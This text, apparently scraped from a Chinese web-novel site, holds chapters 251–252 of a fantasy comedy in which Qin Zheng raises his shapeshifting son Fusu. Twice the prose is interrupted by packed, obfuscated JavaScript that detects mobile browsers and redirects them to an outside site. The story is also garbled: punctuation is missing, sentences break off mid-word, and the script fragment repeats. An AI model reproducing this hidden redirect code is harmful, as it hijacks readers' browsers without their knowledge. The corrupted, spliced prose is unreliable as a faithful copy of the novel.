【另外秦朝的中央官僚还存在很严重的隐患。秦始皇曾经在咸阳遇刺却连刺客怎么混入咸阳的都查不出来可见朝中官吏定然存在奸细。】 扶苏抬头看阿父: “刺客?” 秦政捏捏他的胖爪子: “不怕没有刺客都是它乱说的。咸阳城中安全得很谁也混不进来。” 哪来的刺客和奸细? 秦政从修真大能那里换到过神奇的防御大阵已经将都城笼罩住了有二心的人根本进不来。 奸细就更不可能了秦政赶走好感系统之后部分程序功能还保留着。他现在看谁都能看见对方头顶的好感值以及对应的好感阶段。 比如角落里某个不起眼的臣子他头顶的好感值就是绿色的“84(忠心耿耿)”。 真有那种心怀叵测的肯定显示为红色的“-23(仇恨)” 秦政曾经见过一个红色的“65(又爱又恨)”一般这个数值都是绿色可见好感系统还是比较智能的。而且比起数值括号里的文字更直观也更准确。 群臣起初听的时候表情还很严肃。 但是发现陛下已经无所事事到开始和太子殿下玩拍爪子的游戏立刻意识到这东西说的不准就继续奏自己的事了。 秦政有一搭没一搭地听着。 他把手指放在儿子的手上虽然小猫咪现在是人形了可这也不妨碍小猫坚持猫爪在 第 251 章 七十二变 第251章七十二变 虽然太子殿下第一时间跳出来恶人先告状了,但是他忘了别人听不懂他的小猫叫。 所以群臣并不知道太子是在告状,只以为他是听到王绾被吓到了,这才冒头告诉王绾不是老鼠是猫猫。 王绾松了一口气,抬手看了看“被咬”的地方。 果然,太子殿下才不会用嘴咬呢,嫌弃脏。他只是被轻轻挠了一下,连肿都没肿。 日常吓唬完群臣的小太子被捧回了父亲身边,坐在桌案上开始目光炯炯地盯着下面的群臣。 睡醒后的太子殿下现在很精神,可以给阿父当个小监工。要是谁上朝摸鱼走神打瞌睡,他就跟阿父告状。 于是群臣就见到了下面这一幕—— 治粟内史上来启奏今年的农桑: “承蒙陛下保佑,今年依旧风调雨顺。各郡送来的奏报中都提到今年五谷灌浆后谷粒比去年又大了一圈,应是今岁新换的施肥法起了效用。” 秦政满意地颔首: “明年各地的试验田再根据自身的气候情况调整一下水肥比例,看看有没有更好的配比。” 治粟内史应下后退回原位。 扶苏崽立刻抽空汇报: “喵喵!喵咪呜嗷!” 阿父!左边第二列第七个在打瞌睡! 当爹的一个字都没听懂,不过这也不妨碍秦政伸手摸了摸儿子的小脑袋。 秦政神色镇定: “知道了,太子辛苦了。” 猜也知道小家伙是在告状,估计不是什么大事,糊弄过去就行。八成是告谁上朝走神的小事,这种的不用管。 扶苏崽得到了鼓励,越发积极起来。 群臣奏事的间隙就时不时能听见小猫咪的叫唤声,不明真相的诸位在接下来的很长一段时间里,都以为太子是上朝的时候无聊,在找陛下撒娇。 这是个好事,至少经常走神的臣子们不用因此提心吊胆了。 天天被个猫型智能监控盯着开会,这谁受得了呢! 下了朝,扶苏就唰地变回人形,想要下地去蹦蹦跳跳了。 秦政眼疾手快把他从桌案上抱到怀里,用宽大的袖子遮住儿子什么都没穿的小身体。 秦政头疼地吩咐侍者去取衣服来。 小猫咪习惯了不穿衣服,变成人也没有衣服穿。他自己完全没觉得有什么不对的 群臣压根没看清发生了什么。 他们就见桌案上突然出现了一个白花花的东西眨眼间就被陛下抱住了这才发现是太子变成人形了。 但是变成人形就变成人形呗为什么要果断把人揽过去?难道是太子准备从桌案上往下跳跳的方向是有高高台阶的这头? 冯去疾问蒙毅: “蒙卿你眼神好你看清楚了吗?” 蒙毅眼角一抽: “并未。” 他总不能说太子没穿衣服给他看见了吧? 秦政匆匆抱着儿子去后殿了给小崽崽把衣服鞋子穿好抓着教育了一通这才松手放他自己跑出去玩。 扶苏没心没肺地跑到外头。 为了迁就怕冷畏热的太子殿下章台宫建起了连廊。秦政从红包群里弄到了带有空调效果的东西在章台宫各处连廊和殿宇里都放上。 所以虽然现在暑热未退扶苏跑在连廊里也非常舒适。秦政慢悠悠跟在他后头叮嘱他不要跑出廊檐外头热。 不说还好一说扶苏就立刻调头跑出去了。 两秒钟后刚跑出去的小孩又飞快地跑了回来。震惊地告诉阿父外头真的好热怎么会这么热! 秦政瞥他一眼: “要不是你今年才刚出生……” 这臭小子总是拥有不合时宜的好奇心都跟他说了热还非得自己去试试果然是只小猫咪。 群友发给秦政的育儿资料里说不能让小孩一直活在温室里。就算是大人长期待在空调房里也对身体不好。 但秦政想着儿子还没满一岁呢到底还是舍不得把人丢出去适应气候。所以今年全年都开着空调想着明年再慢慢培养他去接触冷热空气。 扶苏完全不知道自己四季如春的好日子快到头了没听明白父亲刚刚那句话的意思。他也不太在意很快又开开心心地顺着连廊往前跑要去寝殿玩耍。 秦政跟着他回了寝殿换下朝服后就把玩得不亦乐乎的儿子拎上带去了正殿。 扶苏抓 着几颗珠子不撒手: “我不想去正殿。 正殿没有寝殿好玩。 秦政不为所动: “跟朕去学点知识,你都多大了,怎么能天天就知道玩? 扶苏松开手,珠子差点掉在地上,被侍者赶紧伸手接住。他完全忘了自己还有珠子玩具的事,开始掰着手指头数起来。 “一、二、三、四…… 过了一会儿,他数完了: “我八个月大啦! 秦政脚步一顿。 这么听起来,他压榨一个八个月大的小婴儿学习知识好像有点丧心病狂。可低头看看小胖崽足有三岁的体格,又觉得神兽不该以人类孩童的情况来类比。 扶苏天真无邪地看着父亲。 秦政到底还是没狠下心: “算了,你先玩两年吧。 过了片刻,秦政又意识到一件事: “你怎么知道你八个月大了? 扶苏崽说漏了嘴,立刻捂住嘴巴眨了眨眼,坚决不回答。 秦政眼眸微眯: “就算你早就学会了数数,也没人跟你说过你是几月出生的。侍从也不会日日通报今天是几月几日,你是怎么算出八个月的? 扶苏无辜地和父亲对视了片刻,然后左顾右盼,说自己想下去玩了。 秦政根本不放人,他今天必须得搞清楚这个问题。 扶苏只好回答: “我知道我是腊月出生的! 秦政问他怎么知道的。 扶苏看了看父亲的脸色,到底没有编瞎话骗人,老老实实地告诉阿父他有小时候的记忆。 秦政:……你现在也不大。 八个月的小崽跟人说自己有小时候的记忆,实在有点叫人啼笑皆非。 不过秦政也听懂了儿子的意思,他从出生起就有记忆了。 正常婴儿的生长发育速度跟扶苏是不能比的,就像神兽一般都有记忆传承。如果神兽幼崽和普通婴儿一样三岁之前的记忆保存不下来,那出生的时候觉醒的记忆传承也很容易丢失部分内容。 秦政又抓着儿子问了他记忆传承都传了什么东西。 扶苏不想回答: “我要当一个快乐的小崽崽,阿父知道 了就不让我玩了。 记忆传承里有好多知识,不过需要扶苏再“复习一遍融会贯通。小孩偷懒不想学,他现在这个年纪就是该玩的时候。 秦政只好保证不会强迫他学习: “朕都说了,等你三岁再开始进学,你难道不相信阿父吗? 扶苏这才松口。 秦政逮着儿子问了一整个上午,终于梳理完了对方传承到的所有内容。里头东西非常繁杂,包含了修真魔法等一系列的知识,古代现代东方西方,应有尽有。 和他一对比,秦政突然觉得自己之前绑定的学习系统就是个渣渣。 秦政捏住儿子带着奶膘的小脸: “你可真是命好得叫人嫉妒。 为什么到他这里就得他辛辛苦苦学习那么多年,最后还只学会了他儿子传承到的知识的零头。 而他家太子,一出生就已经被灌入了这些知识。 虽然还得再复习一遍,但复习和学习能一样吗?复习代表着人家已经记住了,只是掌握得还不太牢固。 何况扶苏还有过目不忘的本事,脑子也特别聪明,估计只要复习一遍就能融会贯通了。 秦政不由柠檬了一下: “朕怎么没有传承记忆呢? 不是说好了金手指都是给他的,他儿子只是沾了他的光?到底谁才是天道宠儿啊! 扶苏被捏了脸也不生气: “我就是命好呀! 他给阿父细数,比如他一出生就是始皇帝的长子,他爹一出生却是质子。 他出生在条件优渥的咸阳宫,他爹出生在敌人的大本营。 他目前是家里唯一的崽,他爹虽然也只有一个弟弟,但他爹可不如他受父亲宠爱。 他出生就直接当上太子了,他爹出生的时候连父亲和祖父都没当上秦王,还得慢慢熬死上头的昭襄王。 …… 秦政越听越无奈: “好了好了,知道老天爷宠你了。 他要不是小坏蛋的亲爹,今天就要大义灭亲把臭小子送去给将军们操练操练。三岁体格的小孩子已经可以开始打基础习武了,叫他知道知道什么叫社会险恶。 扶苏哼哼一声,最后总结: “所以说,你爹不如我爹努 力上进,所以让你输在了起跑线上。” 秦政:感觉被夸了,又没被夸。 但秦政可以肯定的一点是,被骂的只有庄襄王一个。 秦政给儿子把电视光幕打开: “行了,你自己看动画片去吧。” 今天播放的不是《猫和老鼠》,而是《蓝猫淘气三千问》。这个动画片明显对小猫咪更友好,毕竟蓝猫不是主角型的反派,不会天天倒霉把小猫咪吓到。 然而扶苏看这个也不消停。 仗着自己的传承记忆已经暴露了,小孩开始不再遮掩。看一会儿就挑剔一下动画片里的知识错误,非要扭头告诉阿父正确的内容是什么。 秦政有一搭没一搭地听着。 顺手在群里问了一句,为什么这个科普性质的动画片有那么多错误。 [未来教授]回答:那是比较古早的动画片了,当时科学家对世间奥秘的探索还不够深入,所以会有一定的时代局限性。 比如关于恐龙的科普,窃蛋龙其实不偷其他恐龙的蛋、它是在守着自己的蛋,不应该叫窃蛋龙,这一点就是后来才发现的。 教授表示那部科普动画还是很值得一看的,虽然存在一定的谬误,但是影响不大。反正小孩子看完也记不住,长大点就全忘了,先看着培养一点对世界的好奇心和对知识的渴望也是好的。 秦政看了一眼好奇心已经很旺盛的小猫咪,心想可不能再让他好奇下去了。 不过考虑到儿子为了纠错动画片,边看边无意识地调动了传承记忆、复习了好多知识点,又觉得这部动画确实不错。 阿苏这不就自发地开始学习了? 史菅佩服地看了一眼陛下。 耳边动画片和太子叽叽喳喳的声音交替响起,陛下居然还能八风不动地在那里批他的奏折,丝毫不受影响。 不像他,听着动画片的声音,想打瞌睡都睡不着了。 这动画片真的太有意思了,史菅总是忍不住被它吸引过去。然后就忘了自己在干什么,手下的起居注一个字都没动。 好在本来也没什么好记的。 趁着播放片头曲、片尾曲和广告的间隙,史菅赶紧飞快补作业。好不容易写完了,终于可以专心看动画片了。 结果一 天居然只有两集! 扶苏遗憾地叹了口气: “没有了。 史菅也差点遗憾地跟着附和一句,是啊,怎么没有了呢。 好悬忍住了。 太子殿下只好切换频道看别的。 秦政忽然把他电视关了: “你已经看了两集动画片了,休息一下,不然眼睛要坏掉的。去玩会儿玩具,否则等下用完午膳就要去午睡了,想玩都没时间玩。 小太子被成功忽悠住了,完全不知道距离午膳还有一个多时辰。根本不是“等下就要吃午饭了,时间还早呢。 而且扶苏虽然看了两集动画片,但加上广告一共也才四十五分钟。才看了三刻钟的动画片就不让看电视了,换别的小孩肯定要闹。 好在扶苏没有电视瘾。 他很顺利地接受了去玩玩具的提议,又开始发出新的噪音。 史菅看看自己面前的起居注。 事情已经干完了,但是蹭不到电视看了,有点无所事事,他自己是不敢偷偷打开光幕看的。 史菅忍不住去看太子殿下,殿下什么时候会悄悄打开电视再看一眼呢?他一直都不是乖巧的性子,肯定会偷看的吧! 扶苏果然悄悄打开了光幕。 他背过身避免父亲看见他身前飘着个小光幕,然后鸡贼地把音量调到了静音。在几个台里切换了一下,最后停在某个播放综艺的频道上。 扶苏好奇地看着里头的人跑跑跳跳。 电视里播放的是传统综艺,男生女生向前冲。就是在水上设施里闯关赢大奖的那种,动不动就有人不小心落水。 扶苏第一次看这种,新奇得不行。 不仅是扶苏,角度不错能看见光幕的侍从也没忍住多关注了两眼。这个光幕是只有陛下和太子有的,他们想看也只能蹭着看。 不多时,殿内几乎所有人的视线都黏了过来。幸好屋子里没有谁近视眼,不然还看不清楚。 一名女嘉宾冲过了大转盘,不小心踩滑掉进了水里。 扶苏遗憾地唔了一声。 想起来不能发出声音被阿父揪住,他赶紧捂住嘴巴。然后装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658933|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模作样地划拉了一下木板上的珠子,发出玩游戏的动静。 又一名男嘉宾被旋转的横杆 扫了下去扶苏捂住嘴巴的小手渐渐放松。 接下来是一位特别厉害的嘉宾一口气跑到了倒数第二关。扶苏看着看着就入迷了完全忘了要制造动静假装自己在玩玩具捂着嘴的手也彻底放下了。 所有人都在目光灼灼地等着这位嘉宾拿到最终大奖。 然后他在最后一关掉下去了。 众人齐齐发出微弱的叹息然后飞快收拾好心情等着下一位嘉宾出场。 殿门口侍立的卫兵都没忍住摇了摇头要是换他上分分钟就能通过挑战拿到大奖。可惜他上不了那个终极奖励的大冰箱他还挺想知道是干什么用的。 仙人景象里提供的奖励还是最高级别的奖励肯定是个厉害的神器吧? 秦政听着周围整齐划一的吸气叹气忍了忍才没有直接拆穿。 他们当他傻吗?他有那么迟钝? 秦政批完最后一封奏章放下笔站起身来。今天的奏章不多倒是叫他提前结束了工作。 始皇帝陛下悄无声息地走到了儿子身后看看这小子到底在偷看什么东西。 扶苏毫无所觉。 但是其他站得远的侍从却立刻回过神来赶紧低头不敢再看。只有史菅还能理直气壮地继续盯着因为他可以拿记录起居注来当借口。 综艺进入广告阶段。 扶苏有点蹲麻了撑着地面要站起身身后伸出一双大手扶了他一把。扶苏以为是侍者 站好后跺了跺脚转身要去找阿父。结果直接撞进了他爹怀里他爹早就过来了。 扶苏懵了一下: “阿父?” 秦政揪住他耳朵: “朕跟你说什么来着?你都学会阳奉阴违偷偷看电视了?” 扶苏这才知道自己被抓包了。 可怜的小太子很快被迫开启了青少年模式还被他爹调整了每日最高观看时长。 时长有限那就得做好规划。每天看蓝猫动画片的时间要空出来剩下的时间就随便看点别的什么。 而且虽然扶苏的观看时长受到了限制但他还可以蹭父亲的看。 秦政有空会看看新闻、农业、军事和科教频道的内容扶苏也不嫌弃它们枯燥无聊。 太子殿下 完全没有发现他跟着他爹看的东西和学习知识没什么区别。而他看的蓝猫也是个学习类的科普动画。 所以真正用于娱乐的观看时长只有可怜巴巴的一点点。 但凡有个幼儿园文凭都不至于被骗得这么惨。太子殿下不仅没意识到自己被父亲算计了每天还看得特别起劲。 直到这天。 扶苏在自由切换频道的时候切进了一个网络直播频道这个频道会随机播放一些短视频都是热度流量比较大的。 扶苏崽撑着下巴好奇地看着视频里的漂亮小姐姐在跳热辣的舞蹈。 看了一会儿之后他拉拉父亲衣袖: “阿父你看这个舞我没见过。” 他看过先秦各国舞者跳舞没有一个是这样的。头一次瞧稀奇扶苏就很积极地跟父亲分享了。 秦政放下笔扫了一眼。 就一眼他面色一变立刻把儿子的眼睛给捂上了。因为这跳的是脱衣舞小孩子不能看。 电视光幕居然有十八禁频道。 秦政明明记得自己给儿子开了青少年模式按理来说应该进不了这个频道的才对。 扶苏被捂住眼睛还以为父亲在和他玩游戏好奇地问道: “阿父你要给我变魔术吗?” 他之前看到一个曲艺频道里有魔术表演来着看了一次后就再没碰到过。 宠崽的爹只好命人去民间搜罗会变戏法的手艺人然后抓来了一堆方士专门给太子殿下变魔术看。 方士本来还以为自己是被抓来寻仙炼丹的结果侍从鄙夷地告诉他们陛下早就联络上了仙人。人家仙人送的仙丹陛下不知道吃了多少个用不上他们这些半吊子帮忙寻仙炼丹。 侍从趾高气昂: “像你们这样的骗子 方士们:…… 这都是许久之前的事情了。 秦政飞快地切换频道把少儿不宜的内容换掉。然后打开设置界面去检查自己设置好的东西。 要不说当爹的了解儿子呢果然看到青少年模式被关闭了。不仅如此扶苏还在年龄上虚报了自己今年30岁。 好家伙怪不得能够进入十八禁的频道看小姐姐热舞。 秦政被儿子气笑了: “秦扶苏你可真行。” 扶苏不知道这次还能怎么狡辩了他感觉说自己是不小心的应该没有办法糊弄过去。 所以扶苏选择变成小猫崽。 猫崽崽能有什么坏心眼呢?他只是想多看一会儿电视而已! 小猫咪蹲在桌案上歪着头喵了一声像个纯真无邪的小可爱企图用撒娇萌混过关。 猫猫没有干坏事就算干了也不是故意的不可以教训猫猫。 秦政拎起他的后脖颈: “你明天一分钟电视都不许看了。” 小猫咪晴天霹雳: “喵呜!” 秦政摸索出了怎么防止鬼灵精小孩修改设定的方法而后重新把儿子的光幕给设置了一番。 这下不仅开了青少年防沉迷模式还认真筛选了一下频道以后扶苏连情感剧场都没得看了。 小屁孩看什么爱情剧。 幸好扶苏也不爱看这些他看得最多的还是《男生女生向前冲》。 时间很快来到了十月初一。 扶苏出生后的第一个大秦新年是个重要的大日子。始皇帝陛下特意带儿子一起祭祀天帝这里的天帝指的是对应五行的五帝。 黑帝、白帝、青帝、赤帝、黄帝其中黑帝是秦王室认的先祖颛顼。 后头四帝一般在雍城立畤祭祀只有黑帝会进行最高规格的祭祀。不和祂们四个一起要单独进行。 大秦的祭祀多而复杂。 扶苏听父亲说以前大秦还要祭祀一个叫“陈宝”的东西那是昔年秦文公得到的一块奇异石头。 秦政学习过现代知识之后发现这是块陨石陨石没什么好祭祀的 秦政还和儿子说: “陨石可能有放射性物质接触多了会生病以后遇到了记得离远一些。” 扶苏点头: “我知道的。” 他可是一个很博学的小崽崽。 秦政顺势教导儿子: “朕废除了地方性的祭祀把六国的重要祭祀融入大秦之中你可知这是为何?” 扶苏想了想: “因为他们现在是秦人了自然只能进行 第 252 章 帝王聊天群 第252章帝王聊天群 侍从们完全没有发现太子殿下的异常,还以为殿下在扑腾水花玩。 亲爹倒是看出来了。 在不伸手等着看傻崽崽自己想起来他可以变成体型大一点的动物躲过一劫,和伸手把儿子直接捞出来两个选择之中稍微犹豫了一下。 考虑到搭救晚了儿子可能真的会因为溺水出事,到底还是决定救人。 秦政的手刚接触到水。 在水里扑腾了十几秒的小鱼已经惊慌失措地下意识选择了变换形态。 扶苏脑海里只有两个念头—— 第一,变回自己原来的模样,不当鱼了。 于是鱼身拉长成了一条修长矫健的黑龙,约莫是因为他在水里的缘故,自动适配了龙形而不是玄鸟或者人身。 第二,变得越大越好,这样才不会被小小的笔洗淹死。 于是小黑龙崽崽开始疯狂长大,眨眼间撑破了笔洗,挤开了桌上的所有东西。周遭的人也被推着后退了十几步,险些站不稳栽倒。 秦政及时叫停: “阿苏!不要变了!再变大要把宫殿撑塌了!” 其实扶苏的体型还没把宫殿撑满,但是已经快要触碰到一个立柱了。柱子要是被他挤倒了那可不是闹着玩的,宫殿坍塌他们都得被埋进去。 扶苏连忙打住。 此刻他的龙身已经粗壮到直径有一人高了,秦政靠着个头远超常人,才能越过龙身看清周围的情况。 秦政对上了小龙崽……大龙崽委屈巴巴的眼神,无奈地叹了口气。 早知道儿子受了刺激会惊慌失措地闹出这么大动静,他就早点救鱼了。现在好了,一地狼藉,幸而只是东西被撞翻了,损坏的倒不多。 秦政伸手安抚地摸了摸眼前的龙鳞: “好了,别生气了。变回来,阿父给你检查一下身体。” 大龙崽更委屈了: “呜呜呜,我变不回来了!” 他明明想的是变回原形,结果变成了现在的模样。他以为是自己不小心变错了,就又重新想着变回原型,然而身体一动不动的。 扶苏崽崽怀疑七十二变失效了,就在他变成大黑龙之后失效的。而 且失效后可能还会维持在最后变成的东西模样,所以以后要一直当一条龙了。 小猫咪委屈,小猫咪掉眼泪。 秦政有些头疼又有些好笑: “当一条龙有什么委屈你的?你本来就是龙子啊! 小猫咪的眼泪卡在中间掉不下去了。 对啊!他本来就是龙子啊! 扶苏忽然兴奋起来: “那我这算是返祖成真龙了吗? 秦政拍拍他的大身体: “你先试试看能不能变小,变小之后再接着高兴。这么大一只,干什么都不方便。 秦政其实不信七十二变失效了,肯定是扶苏太过着急,操作的时候出现了什么错误,导致使用起来没有效果。 不过现在还是要以安抚儿子为主,等安抚好了再哄着他重新尝试变身。 扶苏心里觉得自己可能变不了了,但阿父让他试着变小,他还是乖乖听话地变了一下。结果真的缩小了许多,很快就变成一条巴掌大的小龙宝宝被父亲捧起来,这已经是最小形态了。 秦政摸了摸儿子的小脑袋: “甚是可爱。 看起来细细嫩嫩的一只,尾巴不自觉缠绕住了父亲的手腕。他把自己牢牢固定在手上,生怕父亲一不小心手滑就把他摔下去了。 扶苏心想,他现在可不会飞了。他变不了蚊子了,摔下去要摔死的。 秦政示意侍者去收拾残局,自己带着儿子进入完好无损的稍间。 他安抚地给儿子顺了顺鳞片,等儿子心情平复后,才问起他变换失效的事情。 扶苏便告起状来: “我一直想变回原形!但是一直保持着现在的模样!根本变不了! 这个异能肯定有问题。 秦政若有所思: “你想着变回原形,结果变成了一条黑龙? 扶苏崽认真点头。 秦政看看黑龙崽崽的模样,又想了想猫崽的模样。如果当初楚姬直接生的是黑龙的话,肯定不会吓到任何人。 因为所有人都知道大秦的图腾已经被改为了黑龙。 刚改完没多久,楚姬夫人就怀孕产子生下与图腾类似的黑龙,这明显就是龙神显灵。证明龙神承认了大秦王室,主动改造了秦皇血 脉,赋予皇长子龙族身份。 结果扶苏出生的时候是只猫崽。 比起金手指设定他儿子是只小猫咪,显然给他送个黑龙儿子更合理。 秦政之前一直在奇怪这一点,为什么是猫,难道真的是狴犴幼崽吗? 可那狴犴是龙七子,又不是龙长子。而且儿子是狴犴的话,秦政就得自己是龙了。然而他试过了,自己什么都变不了。 现在,秦政想通了。 他哭笑不得地捏捏龙崽的小爪子: “阿苏,你有没有想过,你本来就是一条小龙?小猫咪只是你变换出来的? 扶苏歪头: “但是黑龙为什么可以自己变成小猫咪呢? 秦政哪里知道。 扶苏的记忆传承里不还有各种法术传承吗? 只不过在他们这个位面,扶苏试过发现法术都用不了。似乎是因为当前位面没有灵气、魔法元素这些东西漂浮在空中,吸收不到足够的能量,这才使用不了。 ——也就只能通过金手指的特殊效果变来变去了。 秦政心想,儿子估计是在娘胎里的时候体内还存了一点微弱的灵气。他小胎儿一个没有意识,不知道怎么的用出了变猫的法术。导致自己生下来的时候不是小龙崽而是小猫咪,吓了所有人一跳。 现在只是变回了真正的原型。 尤其是扶苏变猫时一开始只会小猫叫说不了人话,变龙却完全不会发出龙叫。再怎么激动说的也是人话,不像变猫后不注意还会发出喵喵喵。 这就导致猫型更像是被变换出来的拟态,拟态时完全模仿猫咪,自然就说不了人话了,除非有意识地控制自己的语言功能。 秦政让养崽系统检测一下儿子的身体状况,着重检查种族。 这次他要拿到真正完整的种族信息,他怀疑之前的“龙子狴犴 系统响应宿主的要求,一字没改地显示出了扶苏的种族——黑龙/玄鸟/人。 足足三个种族。 秦政看着这个奇怪的种族显示,倒是没有惊慌。 他对儿子说道: “你现在心里想着变回原形,但是不变龙,试试看。 扶苏不明所以地 点点头,开始尝试。 下一秒,小龙崽变成了一只黑乎乎的小鸟崽,应该就是传说中的玄鸟。 秦政:“再来一次,这次心里想着黑龙和玄鸟都不变。 扶苏又试了一次,小鸟崽变成了人类幼崽。三岁的小太子惊喜地看着自己变回来的手脚,立刻扑进阿父怀里后怕地掉起眼泪来。 秦政拥住他轻抚儿子的后背: “不怕了,这不是变回来了吗? 他给儿子细细说了小孩自己的情况,叫扶苏听明白了他自己不是小猫也不是别的什么东西。 等以后七十二变真的失效了,扶苏肯定还能继续在龙身鸟身人身上随意切换。因为这是他自己的原型,当然可以随便换,不受金手指限制。 扶苏听了半天,有些迷茫: “那我为什么会变成小猫咪呢? 秦政以为儿子没听懂。 他正要把胎里使用法术的前因后果再给儿子解释一遍,忽然一顿。 如果扶苏变猫是靠着使用灵力,那他后来频繁在猫和人之间变来变去,又是哪里来的灵力? 旧的问题解决了,新的问题又出现了。 秦政头疼地揉了揉太阳穴: “阿苏,你可真是个叫人捉摸不透的小孩。 扶苏无辜地趴在阿父怀里,仰头和父亲对视。小崽崽什么都不知道呀,所以不是阿苏的问题。 父子俩窝在稍间里把这些东西反反复复研究了一个遍,终于搞明白扶苏为什么能在没有灵气的情况下变猫了。 扶苏体内自带灵气。 养崽系统在秦政的命令下检测了扶苏的自身携带的能量情况,给出了“身负大功德的结果。 秦政推测功德可以代替灵气,提供使用法术的能量。 但他没有告诉儿子这一点。 功德是有限的,这东西既然是个好东西,那就让儿子留着庇佑他自己,不能放任儿子乱用。 所以秦政刻意没跟扶苏说你能用功德施展法术,就当扶苏用不了法术好了。反正傻崽崽也没意识到自己能变猫的灵气来源有问题,单纯只是变成小猫倒是消耗不了多少功德,就让他变着玩吧。 于是秦政跟儿子说: “你能变的不是猫咪是狴犴,因为 它是龙子。你是龙,所以才能变成其他龙子的模样,听懂了吗? 扶苏点头: “阿父,我懂了。 扶苏崽彻底明白了,他现在有三个原型,人龙鸟,龙形还带变小猫的。或许还能变其他龙子,但是他不知道其他龙子长什么模样,还是继续变小猫吧。 搞清楚了烦恼的事情,扶苏重新活泼了起来。他在龙鸟猫之间反复切换,玩得不亦乐乎。 秦政瞅了一眼系统检测到的功德余额变化。 系统说无法统计具体的能量数值,但会在总消耗超过万分之一时给出示警。 扶苏变来变去这么久,系统还是没有给出任何示警。满值的“进度条依然在100%的位置,甚至没有跳到99.9999%。 秦政猜测,儿子在原型里变换估计是不会消耗功德能量的,变猫的消耗也微乎其微。 于是彻底放下心来,任由他变着玩。 喜新厌旧的扶苏已经忘记了七十二变,可能也有点被吓到的心理阴影在。他没再玩金手指,光玩自己的原型去了。 等外间收拾好重新把东西摆上,秦政带着儿子出去继续批奏章。 阿父干正事,小太子就玩自己的。 他把侍从指挥得团团转,自己摸索出了原型的各种玩法,不是,用法。 秦政放下笔休息的时候,侍从就捧来了新的笔洗。一条小黑龙在里面畅游,完全没了之前溺水的模样。 秦政问他: “现在学会用腮呼吸了? 扶苏崽得意地压了个浪花: “我还会在水里说话! 刚开始他也不敢的,怕一说话水就会呛着他。但是他很快意识到龙并不会被水呛死,吞下水也不过是转头就从腮里过滤出去了而已。 小龙于是胆子就大了起来。 扶苏还给阿父演示了一下其他操作,比如一跃而起,腾云驾雾。 小小一只龙,脚上踩着四朵小云飞来飞去,看起来颇为滑稽。 秦政没忍住笑了一声: “你好歹多弄点云,把自己半个身子裹进去。 一大团云托着自己,总比四小团云像鞋子一样裹着强,不知道的还以为龙崽套上了小白鞋。 扶苏就照做 了。 于是他发现了新的玩法。 云团像个飘浮的小床停留在半空中龙崽在上面打滚玩耍都不会掉下来。它滚到哪里云就蔓延到哪里身后的云则会渐渐消失。 他还可以趴在云上不动任由小云朵飘来飘去在大殿里漫无目的地巡逻。 秦政重新拿起笔继续批改奏章就见眼前时不时飘过一片搭乘着龙崽的云。 秦政心想这个新玩法应该足够他家太子玩上很多天了。 正好这样扶苏就会忘记看电视。 小云朵飘着飘着就飘出去了幸而一直有侍从盯着太子。太子出门的第一时间就跟了上去并且汇报给陛下。 秦政毫不意外: “朕就知道。” 扶苏肯定是想趁他不注意偷偷出去惊艳所有人。 正好奏章也批完了秦政就慢悠悠地起身跟上亲自去盯着儿子。 扶苏崽一出门就兴奋起来踩着火箭似的嗖嗖往前冲飘在半空中还能随便翻墙走直线。侍从在后头追得辛苦不停喊着太子殿下请变大一些。 那么小一只一个错眼就看不见了。 扶苏还真变大了一圈。 没出过远门的太子根本不认识路他好奇地升高再升高俯瞰咸阳宫的整体布局很快找到了出宫的位置。 嗖云朵窜出去了。 秦政看见后立刻呵止: “秦扶苏!” 小云朵于是飞快地嗖一下窜了回来乖巧地停在父亲身边。 秦政把儿子拎上: “又乱跑。” 扶苏缩着爪子不动了: “我想去找蒙毅他们玩。” 给蒙卿看看他的新形态。 秦政拎着他上了辇车: “要去哪里跟朕说不许自己私下乱跑。宫外那么危险小心被人捉去做了龙肉羹。” 华夏家长的常见吓唬方式。 但是很有效。 小太子立刻被吓着了因为他的传承记忆里确实有爱吃龙的山海经异兽和各种名字里带龙的菜品。 虽然后者并不是用真正的龙肉做的可也能证明是真的有人想吃龙。 小龙赶紧团成一团保护自己: “阿父我以后不 跑了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658934|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秦政见这个吓唬有效,立刻加大了力度。在红包群里问群友要到相关菜谱后,就开始给儿子科普各种蛇鸟猫的吃法。 秦政:“知道龙虎斗吗?用蛇肉和猫肉做的。 扶苏崽:! 秦政:“还有很多人喜欢吃品种稀有的小鸟,煎炸烹煮,什么做法都有。 扶苏崽:!! 秦政:“听说龙肉吃了可以延年益寿,你猜那些年老的人会不会心动? 扶苏崽:!!! 扶苏立刻整个身子缠在父亲手腕上,保证谁来了也没办法把他扒下来。 害怕! 秦政满意地摸了摸他脑袋: “只有朕身边是安全的,记住了吗? 扶苏连连点头。 辇车停在了宫外的官署里,蒙毅最近在外头办公,没有留在陛下身边给他当高级秘书。 这一片都是高官,除了蒙毅还有李斯他们。但扶苏才刚刚吓过李斯,就好心地放过了老丞相。 不能说是老丞相,毕竟现在提前了好多年一统天下,李斯还是个快步入老年的中年人。 陛下忽然造访,惊了众人一跳。 扶苏谨慎地从袖子里探出一个小脑袋,防备地盯着这群人。他的目光在里头逡巡,很快锁定了人群里的几个老人家。 于是咻的一下又缩了回去。 这里有老头,危险! 蒙毅眼尖看见了陛下袖子里的动静,他沉默了一瞬,弯腰拜见太子殿下。 就是不知道太子怎么又变了个模样。 其他人这才知道太子也来了,赶紧跟着冲陛下的袖子行礼。 扶苏藏在里头鳞片都要炸开了。 